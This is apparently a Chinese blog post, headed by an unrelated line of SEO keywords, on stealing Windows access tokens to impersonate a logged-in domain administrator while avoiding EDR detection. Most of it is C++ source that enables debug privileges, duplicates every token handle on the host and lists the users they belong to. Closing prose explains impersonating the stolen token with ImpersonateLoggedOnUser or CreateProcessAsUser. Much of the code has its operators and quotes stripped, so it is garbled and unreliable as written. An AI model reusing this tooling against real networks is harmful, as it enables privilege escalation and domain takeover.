自媒体网站源码,vueseo解决方案,做网站建设要学多久,计算机专业主要学什么内容前言
有这样一种场景#xff0c;拿到了一台主机权限#xff0c;是本地管理员#xff0c;同时在这台主机上登录的是域管成员#xff0c;这时我们可以通过dump lsass或通过 Kerberos TGT #xff0c;但是这是非常容易被edr命中的。
本文就通过令牌窃取进行研究#xff0c…前言
有这样一种场景拿到了一台主机权限是本地管理员同时在这台主机上登录的是域管成员这时我们可以通过dump lsass或通过 Kerberos TGT 但是这是非常容易被edr命中的。
本文就通过令牌窃取进行研究并希望知道其中的具体细节。
通过dump lsass 此时你能够通过dump lsass或者等绕过方式抓取到域管用户的ntlm hash通过这个hash然后再去pth等方式利用但在有edr环境中这是很容易被hunt的。
token list
我们可以获取当前主机上所有的token并列出因为我们此时拥有本地管理员权限通过Debug
#include stdio.h
#include windows.h
#include winternl.h
#include lm.h
#pragma comment(lib, netapi32.lib)
#pragma comment(lib, ntdll)#define MAX_USERNAME_LENGTH 256
#define MAX_DOMAINNAME_LENGTH 256
#define FULL_NAME_LENGTH 271
#define TOKEN_TYPE_LENGTH 30
#define COMMAND_LENGTH 1000
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#define SystemHandleInformation 16
#define SystemHandleInformationSize 1024 * 1024 * 10typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {USHORT ProcessId;USHORT CreatorBackTraceIndex;UCHAR ObjectTypeIndex;UCHAR HandleAttributes;USHORT HandleValue;PVOID Object;ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;typedef struct _SYSTEM_HANDLE_INFORMATION {ULONG NumberOfHandles;SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;typedef enum _POOL_TYPE {NonPagedPool,PagedPool,NonPagedPoolMustSucceed,DontUseThisType,NonPagedPoolCacheAligned,PagedPoolCacheAligned,NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;typedef struct _OBJECT_TYPE_INFORMATION {UNICODE_STRING Name;ULONG TotalNumberOfObjects;ULONG TotalNumberOfHandles;ULONG TotalPagedPoolUsage;ULONG TotalNonPagedPoolUsage;ULONG TotalNamePoolUsage;ULONG TotalHandleTableUsage;ULONG HighWaterNumberOfObjects;ULONG HighWaterNumberOfHandles;ULONG HighWaterPagedPoolUsage;ULONG HighWaterNonPagedPoolUsage;ULONG HighWaterNamePoolUsage;ULONG HighWaterHandleTableUsage;ULONG Inis_token_validAttributes;GENERIC_MAPPING GenericMapping;ULONG is_token_validAccess;BOOLEAN SecurityRequired;BOOLEAN MaintainHandleCount;USHORT MaintainTypeList;POOL_TYPE PoolType;ULONG PagedPoolUsage;ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
typedef UNICODE_STRING* POBJECT_NAME_INFORMATION;using fNtQuerySystemInformation NTSTATUS(WINAPI*)(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength
);typedef struct {HANDLE token_handle;int token_id;wchar_t owner_name[FULL_NAME_LENGTH];wchar_t user_name[FULL_NAME_LENGTH];wchar_t TokenType[100];wchar_t TokenImpersonationLevel[100];
} TOKEN;void get_token_owner_info(TOKEN* TOKEN_INFO) {wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];SID_NAME_USE sid;DWORD user_length sizeof(username), domain_length sizeof(domain), token_info;if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenOwner, NULL, 0, token_info)) {PTOKEN_OWNER TokenStatisticsInformation (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);if (GetTokenInformation(TOKEN_INFO-token_handle, TokenOwner, TokenStatisticsInformation, token_info, token_info)) {LookupAccountSidW(NULL, ((TOKEN_OWNER*)TokenStatisticsInformation)-Owner, username, user_length, domain, domain_length, sid);_snwprintf_s(full_name, FULL_NAME_LENGTH, L%ws/%ws, domain, username);wcscpy_s(TOKEN_INFO-owner_name, TOKEN_TYPE_LENGTH, full_name);}}
}void get_token_user_info(TOKEN* TOKEN_INFO) {wchar_t username[MAX_USERNAME_LENGTH], domain[MAX_DOMAINNAME_LENGTH], full_name[FULL_NAME_LENGTH];DWORD user_length sizeof(username), domain_length sizeof(domain), token_info;SID_NAME_USE sid;if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenUser, NULL, 0, token_info)) {PTOKEN_USER TokenStatisticsInformation (PTOKEN_USER)GlobalAlloc(GPTR, token_info);if (GetTokenInformation(TOKEN_INFO-token_handle, TokenUser, TokenStatisticsInformation, token_info, token_info)) {LookupAccountSidW(NULL, ((TOKEN_USER*)TokenStatisticsInformation)-User.Sid, username, user_length, domain, domain_length, sid);_snwprintf_s(full_name, FULL_NAME_LENGTH, L%ws/%ws, domain, username);wcscpy_s(TOKEN_INFO-user_name, TOKEN_TYPE_LENGTH, full_name);}}
}void get_token_security_context(TOKEN* TOKEN_INFO) {DWORD returned_tokimp_length;if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenImpersonationLevel, NULL, 0, returned_tokimp_length)) {PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_length);if (GetTokenInformation(TOKEN_INFO-token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, returned_tokimp_length)) {if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) SecurityImpersonation) {wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityImpersonation);}else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) SecurityDelegation) {wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityDelegation);}else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) SecurityAnonymous) {wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityAnonymous);}else if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInformation) SecurityIdentification) {wcscpy_s(TOKEN_INFO-TokenImpersonationLevel, TOKEN_TYPE_LENGTH, LSecurityIdentification);}}}
}void get_token_information(TOKEN* TOKEN_INFO) {DWORD returned_tokinfo_length;if (!GetTokenInformation(TOKEN_INFO-token_handle, TokenStatistics, NULL, 0, returned_tokinfo_length)) {PTOKEN_STATISTICS TokenStatisticsInformation (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_length);if (GetTokenInformation(TOKEN_INFO-token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, returned_tokinfo_length)) {if (TokenStatisticsInformation-TokenType TokenPrimary) {wcscpy_s(TOKEN_INFO-TokenType, TOKEN_TYPE_LENGTH, LTokenPrimary);}else if (TokenStatisticsInformation-TokenType TokenImpersonation) {wcscpy_s(TOKEN_INFO-TokenType, TOKEN_TYPE_LENGTH, LTokenImpersonation);}}}
}LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) {LPWSTR data NULL;DWORD dwSize sizeof(OBJECT_NAME_INFORMATION);POBJECT_NAME_INFORMATION pObjectInfo (POBJECT_NAME_INFORMATION)malloc(dwSize);NTSTATUS ntReturn NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, dwSize);if ((ntReturn STATUS_BUFFER_OVERFLOW) || (ntReturn STATUS_INFO_LENGTH_MISMATCH)) {pObjectInfo (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);ntReturn NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, dwSize);}if ((ntReturn STATUS_SUCCESS) (pObjectInfo-Buffer ! NULL)) {data (LPWSTR)calloc(pObjectInfo-Length, sizeof(WCHAR));CopyMemory(data, pObjectInfo-Buffer, pObjectInfo-Length);}free(pObjectInfo);return data;
}int wmain(int argc, wchar_t* argv[]) {HANDLE hToken;DWORD cbSize;HANDLE hProcess OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, hToken);GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, cbSize);PTOKEN_MANDATORY_LABEL pTIL (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, cbSize);DWORD integrity_level (DWORD)*GetSidSubAuthority(pTIL-Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL-Label.Sid) - 1));if (integrity_level SECURITY_MANDATORY_HIGH_RID) {printf(Low privilege, cannot use the impersonation technique...\n);return 1;}TOKEN_PRIVILEGES tp;LUID luidSeAssignPrimaryTokenPrivilege;printf([?] Enabling SeAssignPrimaryToken\n);if (LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, luidSeAssignPrimaryTokenPrivilege) 0) {printf(\t[!] SeAssignPrimaryToken not owned!\n);}else {printf(\t[*] SeAssignPrimaryToken owned!\n);}tp.PrivilegeCount 1;tp.Privileges[0].Luid luidSeAssignPrimaryTokenPrivilege;tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;if (AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) 0) {printf(\t[!] SeAssignPrimaryToken adjust token failed: %d\n, GetLastError());}else {printf(\t[*] SeAssignPrimaryToken enabled!\n);}LUID luidSeDebugPrivivilege;printf([?] Enabling SeDebugPrivilege\n);if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luidSeDebugPrivivilege) 0) {printf(\t[!] SeDebugPrivilege not owned!\n);}else {printf(\t[*] SeDebugPrivilege owned!\n);}tp.PrivilegeCount 1;tp.Privileges[0].Luid luidSeDebugPrivivilege;tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;if (AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) 0) {printf(\t[!] SeDebugPrivilege adjust token failed: %d\n, GetLastError());}else {printf(\t[*] SeDebugPrivilege enabled!\n);}CloseHandle(hProcess);CloseHandle(hToken);ULONG returnLenght 0;TOKEN found_tokens[100];int nbrsfoundtokens 0;fNtQuerySystemInformation NtQuerySystemInformation (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(Lntdll), NtQuerySystemInformation);PSYSTEM_HANDLE_INFORMATION handleTableInformation (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, returnLenght);for (DWORD i 0; i handleTableInformation-NumberOfHandles; i) {SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation-Handles[i];HANDLE process OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);if (process INVALID_HANDLE_VALUE) {CloseHandle(process);continue;}HANDLE dupHandle;if (DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) 0) {CloseHandle(process);continue;}POBJECT_TYPE_INFORMATION objectTypeInfo (POBJECT_TYPE_INFORMATION)malloc(8192);if (wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), LToken)) {CloseHandle(process);CloseHandle(dupHandle);continue;}TOKEN TOKEN_INFO;TOKEN_INFO.token_handle dupHandle;get_token_owner_info(TOKEN_INFO);get_token_user_info(TOKEN_INFO);get_token_information(TOKEN_INFO);if (wcscmp(TOKEN_INFO.TokenType, LTokenPrimary) ! 0) {get_token_security_context(TOKEN_INFO);}else {wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGTH, L );}int is_new_token 0;for (int j 0; j nbrsfoundtokens; j) {if (wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) 0 wcscmp(found_tokens[j].TokenType, TOKEN_INFO.TokenType) 0 wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) 0) {is_new_token 1;}}if (is_new_token 0) {TOKEN_INFO.token_id nbrsfoundtokens;found_tokens[nbrsfoundtokens] TOKEN_INFO;nbrsfoundtokens 1;}CloseHandle(process);}printf(\n[*] Listing available tokens\n);for (int k 0; k nbrsfoundtokens; k) {printf([ID: %d][%ws][%ws] Owner: %ws User: %ws\n, found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);}return 0;
} 由二进制文件本身生成的令牌 ID用于标识令牌 指示令牌是主令牌还是模拟令牌的令牌类型 令牌的安全上下文如果令牌是模拟令牌这就是此字段对于主要令牌为空的原因。有四种不同的值指示用户是否经过身份验证是否可以模拟他们以及如何 SecurityAnonymous该进程无法识别系统上的用户因此无法模拟他们大多数相关线程是在使用匿名绑定进行非交互式日志记录后获得的 SecurityIdentification该进程可以识别系统上的用户但不能模拟他们 SecurityImpersonate用户已通过身份验证可以在本地系统上模拟 SecurityDelegation用户已通过身份验证可以在本地系统和远程系统上进行模拟 令牌的所有者创建它的人 令牌关联的用户
可使用DuplicateTokenEx去复制一个令牌 通过DuplicateTokenEx去复制一个令牌后有如下三种方式去模拟登录或创建进程 使用ImpersonateLoggedOnUser函数 创建新进程使用CreateProcessAsUser或者 CreateProcessWithToken 使用LogonUser 函数
其中logonuser需要我们提供账号密码我们不使用他 ImpersonateLoggedOnUser 可以直接将复制域管权限的令牌传入在执行RevertToSelf函数之前都会以模拟令牌的权限进行运行